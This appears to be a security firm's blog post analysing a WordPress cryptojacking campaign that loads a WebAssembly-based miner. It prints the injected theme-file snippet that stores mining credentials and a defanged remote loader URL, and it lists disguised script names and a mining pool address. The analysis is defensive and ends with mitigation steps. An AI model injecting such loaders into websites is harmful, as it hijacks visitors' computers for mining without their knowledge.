WebAssembly (also referred to as Wasm) is a binary instruction format that runs in the browser to enable high-performance applications on web pages and can be executed much faster than traditional JavaScript. WebAssembly can be executed in a variety of environments, including servers, IoT devices, and mobile or desktop apps — but was originally designed to run on the web.

When used in a web browser, Wasm runs in its own sandboxed execution environment. As it is already compiled into an assembly format, the browser can read and execute its operations at a speed JavaScript itself can’t match.

However, WebAssembly’s features and functionalities also provide two distinct advantages for attackers. Because WebAssembly code is run so much more efficiently, it increases the return on investment for attackers looking to leverage Wasm for cryptojacking. And since Wasm is in a binary format, it makes detection and analysis by conventional antivirus scanners more challenging to decode.

Let’s dive into a recent incident that showcases how attackers are leveraging Wasm to evade detection for their cryptojacking malware.

JavaScript Cryptominer Found in Theme File

We were recently contacted by a new client who reached out to us for help after noticing that their computer slowed down to a crawl every time they navigated to their own WordPress website.

A cursory review of their site files revealed the following snippet of code injected into one of their theme files:

localStorage.setItem('f', 'auto.config({ login: "6110659", pass: "auto" }).power(10);');localStorage.setItem('s', 'hxxps://wm[.]bmwebm[.]org/auto.js');

This small piece of code grabs hxxps://wm[.]bmwebm[.]org/auto.js and loads it client-side whenever the website’s page loads. We can clearly see a username 6110659 and password auto defined in this code sample, which is used to access an account of some kind.

Let’s take a look at what this injection does!

Inspecting auto.js reveals CharCode obfuscated contents.

Once decoded, the contents of auto.js immediately reveal the functionality of a cryptominer which starts mining when a visitor lands on the compromised site. The credentials found in the original injection are used to access the mining account whenever the JavaScript is run on the page.

What’s especially interesting about the decoded content is that we can clearly see it leverages WebAssembly to run low-level binary code directly on the browser.

The miner also uses a custom pool, which is also clearly visible within the decoded contents of the auto.js file: wss://pool[.]bmwebm[.]org

The remaining code provides instructions for mining operations, which run alongside the JavaScript and are executed within the browser.

Variant Disguised As Google Ads Script

I found a similar variation of the miner on another compromised website — note the naming convention used for the JavaScript file: hxxps://wm[.]bmwebm[.]org/adservicegoogle.js 

This particular variant tries to disguise itself as a legitimate Google Ads script adservicegoogle.js, but in fact loads the same version of the cryptominer originally found in auto.js.

Domain Details & Automatic Script Generation

The attacker’s hxxps://wm[.]bmwebm[.]org/ domain was registered in January, 2021 which indicates that they have managed to remain active all this time without being taken down. At the time of writing 207 websites have been found with this cryptominer.

One could ask, why only 207? Why not 5000? Why not go for as many as possible? Well, targeting a significant number of sites would create a lot of unwanted attention from security providers, which could result in service disruption. So instead of trying to infect and mine on the largest number of sites possible, they might have chosen to instead extend their campaign by reducing their footprint.

It’s also worth noting that the attacker’s domain contains a particularly interesting feature  — the ability to automatically generate scripts — which allows the attacker to generate any number of seemingly innocent looking JavaScript files by simply modifying the JavaScript file name at the end of hxxps://wm[.]bmwebm[.]org/.

For example:

• hxxps://wm[.]bmwebm[.]org/wordpresscore.js
• hxxps://wm[.]bmwebm[.]org/common.js
• hxxps://wm[.]bmwebm[.]org/facebook-sdk.js
• hxxps://wm[.]bmwebm[.]org/twitter.js
• hxxps://wm[.]bmwebm[.]org/node.js

By leveraging the names of popular services, attackers can better conceal the malicious contents of their scripts from cursory review. Webmasters may see the .js file with a familiar naming convention and simply assume that it belongs to a legitimate service.

This functionality also makes it possible for the bad actor to inject the scripts in multiple locations on the compromised website and still maintain the appearance that injections “belong” within the environment.

What’s next?

WebAssembly is meant to be one of the next “evolutions” of website technology due to the advantages it offers and how efficiently it can process data — but, as has always been the case, we anticipate attackers will eventually start to make more use of it to conceal their malware or even tap into a legitimate assembly and wrap their malicious code around it.

But what can WebAssembly actually achieve? First thing we need to know is that since Wasm needs to interact with JavaScript to work, it cannot work entirely by itself — nor can it directly connect to the internet on its own — so this dependency will always remain.

What would other kinds of malware look like with WebAssembly?

Let’s imagine a credit card stealer. If an attacker wanted to try to stay under the radar for as long as possible, they could employ WebAssembly, but this would limit how much they can hide. Since WebAssembly by itself cannot properly exfiltrate the data or even collect it, it would still rely on JavaScript to capture said data and send it on its way. The Wasm part w simply be responsible for telling the JavaScript which forms to capture, what exfil domain to use etc.

A more troublesome scenario is the browser interaction, because it interacts with JavaScript which runs directly on the visitor’s browser. If a zero-day for a major browser is discovered, attackers could make use of Wasm to exploit that vulnerability and evade detection.

Conclusion & Mitigation Steps

JavaScript-based cryptomining has waned in recent years, with cryptomining infections accounting for less than 4% of total detections last year — the majority of which were found in the form of a leftover script from already defunct services like Coinhive. But the use of WebAssembly in cryptomining malware is an alarming application of an otherwise useful binary instruction format. Since Wasm is a compiled file, it makes string based detection with conventional scanners much more challenging for security teams.

This technique also opens the door for other potentially malicious applications for Wasm. We anticipate that we will see malicious redirects, malvertisements, tech support scams, script-based keyloggers, drive-by-downloads or other browser exploits evolve to leverage Wasm in an effort to evade detection.

Thankfully, hackers want the most amount of profit for the least amount of work, so it may take some time for attackers to resort to such complex methodologies when a simple PHP script still does the work just fine.

Infections like these can be tricky to navigate on your own if you don’t have website backups to recover from — and this becomes even worse if your website is already utilizing web-assembly for its daily operations.

Webmasters looking to protect themselves from malware that employs WebAssembly should make efforts to prevent infections from occurring in the first place.

• Keep all software patched with the latest updates — that includes core CMS, plugins, themes and any other extensible components.
• Harden your website and protect your admin panels from brute force and dictionary attacks.
• Create and maintain regular backups of your website and database (and always ensure that you store them off-site).
• Perform regular integrity checks of your website files to identify any indicators of compromise.

A web application firewall can help you virtually patch known vulnerabilities until you have time to update your site. And if you’ve identified an infection but need a hand cleaning it up, we’re always here to help.